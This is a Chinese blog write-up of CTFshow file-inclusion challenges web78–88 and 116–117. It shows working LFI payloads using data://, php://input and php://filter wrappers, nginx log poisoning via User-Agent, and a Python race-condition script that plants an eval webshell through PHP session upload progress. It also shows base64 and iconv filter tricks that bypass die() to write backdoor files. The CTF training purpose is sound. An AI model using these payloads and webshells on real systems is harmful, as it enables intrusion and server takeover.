Loading

[CTFshow] 文件包含 78~88,116~117

web78

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
  1. php伪协议,data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码

    ?file=data://text/plain,<?=system('ls')?>
    ?file=data://text/plain,<?=system('cat flag.php')?>
    

web79


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
  1. 就增加了个替换,*号绕过

    ?file=data://text/plain,<?=system('cat f*')?>
    

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
  1. data不给用了,但还有很多方法,但是大小写绕过,使用php://input

    POST /?file=phP://input HTTP/1.1
    Host: 
    .....
    <?=system('cat fl0g.php');?>
    

web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
  1. 多了点过滤: ,尝试使用日志绕过,F12查看服务器是nginx那么默认日志文件则是在/var/log/nginx/access.log ,通过修改ua来达到目的

    # 1
    GET /?file=/var/log/nginx/access.log HTTP/1.1
    User-Agent: Mozilla/5.0 (Win<?php system('ls');?>dows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    # 2
    GET /?file=/var/log/nginx/access.log HTTP/1.1
    User-Agent: Mozilla/5.0 (Win<?php system('cat fl0g.php');?>dows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    

web82 - web86

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

伪协议,日志都不能使用了,尝试session包含

  1. 使用脚本,已经对代码进行注释

    # -*- coding: utf-8 -*-
    import requests
    import threading
    import io
    
    // 条件竞争的url
    url = 'http://787ca786-8744-4541-95ee-be9c1eca47e9.challenge.ctf.show/'
    sessid = 'ctfshow'
    
    # /tmp/sess_sessionid 中写入一句话木马
    def write(session):
        # 用来模拟上传文件
        fileBytes = io.BytesIO(b'a' * 1024 * 50)
        # 无限循环生成session文件,因为在文件上传成功后会立马销毁session
        while True:
            response = session.post(
                url,
                data={
                # 写入一句话马,密码为1
                    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
                },
                cookies={
    	          #设置sessionid,文件名将会以sess_sessid来命名
                    'PHPSESSID': sessid
                },
                # 假装上传的是图片,格式是fileBytes
                files={
                    'file': ('ctfshow.jpg', fileBytes)
                }
            )
    
    def read(session):
    		# 循环读取write生成的session文件,因为要在删除前访问到session文件
        while True:
            response = session.post(
            # 一般session文件保存在/tmp/*
                url + '?file=/tmp/sess_' + sessid,
                data={
                # 执行在write上传的session文件里的马,在网页目录文件夹生成muma.jpg,并写入一句马
                    "1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
                },
                cookies={
                    'PHPSESSID': sessid
                }
            )
            # 访问木马文件,如果访问到了就代表竞争成功
            resposne2 = session.get(url + 'muma.php')
            if resposne2.status_code == 200:
                print('++++++done++++++')
            else:
                print(resposne2.status_code)
    
    if __name__ == '__main__':
    
        evnet = threading.Event()
        # 写入和访问分别设置 5 个线程。
        with requests.session() as session:
            for i in range(5):
                threading.Thread(target=write, args=(session,)).start()
            for i in range(5):
                threading.Thread(target=read, args=(session,)).start()
    
        evnet.set()
    

    整个代码的思路就是,往/tmp/sess_ctfshow文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_ctfshow的一句话往网站根目录文件1.php写一句话木马,密码为a

  2. 竞争成功后访问muma.php ,读取flag即可

web87

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

新增 file_put_contents 函数,将会往 $file 里写入 <?php die('大佬别秀了');?> 和我们 post 传入的 $content 内容,这样就会先执行die 而后面我们传入的代码就不会执行因此我们还需要绕过这个 die() 函数

参考链接:https://blog.csdn.net/Myon5/article/details/140224831#:~:text=ctfshow-we

通过 php://filter/write 过滤器来绕过

官网链接: https://www.php.net/manual/zh/wrappers.php.php

通过 php://filter/write=convert.base64-decode/resource=xxx.php

  1. 思路:假如我们content输入的是PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==<?php eval($_POST[1]); ?>经过base64编码后的字符),那么文件内容就是<?php die('大佬别秀了');?>PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg== ,然后我们通过php://filter/write=convert.base64-decode/resource=xxx.php 来将输入的内容进行base64解码,那么文件内容就会变成 �]�<?php eval($_POST[1]); ?> ,所以就饶过die函数

  2. 仔细查看代码,发现urldecode 会将我们输入的php://filter/write=convert.base64-decode/resource=xxx.php 进行url解码,所以我们需要对php://filter/write=convert.base64-decode/resource=xxx.php 进行两次url编码,中间件会解码一次,代码中也会解码一次

  3. 构造payload:

    php://filter/write=convert.base64-decode/resource=shell.php 进行两次url编码

    %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
    

    <?php eval($_POST[1]); ?> 进行base64编码

    PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    

    还要在前面加上两个1,因为base64编码是4位4位来解码的,不能整除的话就会解码失败,因为<?php die('大佬别秀了');?> 解码后也会剩下两个字符所以我们要在前面加上两个1凑为4的整数

    11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    
  4. 构造数据包

    POST /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30 HTTP/1.1
    Host: 592b7169-a44....
    ......
    ......
    ......
    content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    
  5. 之后访问shell.php,使用后门代码走流程就行

web88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 
  1. 过滤了很多,尝试访问了日志文件也不行

  2. 发现好像可以构造伪协议

    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg11 // system('ls');
    
    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz41
    

web116

提示:misc+lfi

  1. 进去是个视频,我们下载下来,

    尝试使用binwalk来分离文件

    # kali
    // 查看文件
    binwalk video.mp4 --run-as=root 
    // output
    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    27657186      0x1A603E2       PGP RSA encrypted session key - keyid: 7DEBB57A 854F782F RSA (Encrypt or Sign) 1024b
    27820636      0x1A8825C       MySQL ISAM index file Version 8
    28976826      0x1BA26BA       HPACK archive data
    40994603      0x271872B       PNG image, 941 x 320, 8-bit/color RGBA, non-interlaced
    40994644      0x2718754       Zlib compressed data, default compression
    

    发现png,提取 binwalk -e video.mp4 -D PNG --run-as=root ,我的不知道为什么读取不了,使用foremost来提取 foremost xxx.mp4 ,提取出来一张图片

    过滤了蛮多的,不过没有过滤flag ,也没有过滤 filter

    尝试构造语句?file=php://filter/resource=flag.php (直接读取)

    flag在f12响应里面找到,base64编码的,要解码

web117

highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

和web87长得有点像,不过base64rot13被ban掉了,依旧是使用filter,还有iconv 可以尝试

在linux 里面使用iconvpayload进行编码

先使用linux来对payload编码

iconv -f ucs-2le -t ucs-2be 1.txt
// 输出:?<hp pvela$(P_SO[Ta']';)?>
// 1.txt 里面是 <?php eval($_POST['a']); ?>

再构造filter

?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php

大概思路和web87差不多,也是对数据进行编码解码,原本的<?php die();?> 就会乱码,从而绕过

  1. 提交数据包

    GET /?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php
    POST contents=?<hp pvela$(P_SO[Ta']';)?>
    
  2. 提交后访问1.php,之后常规操作

posted @ 2024-09-18 09:05  sunset2131  阅读(29)  评论(0编辑  收藏  举报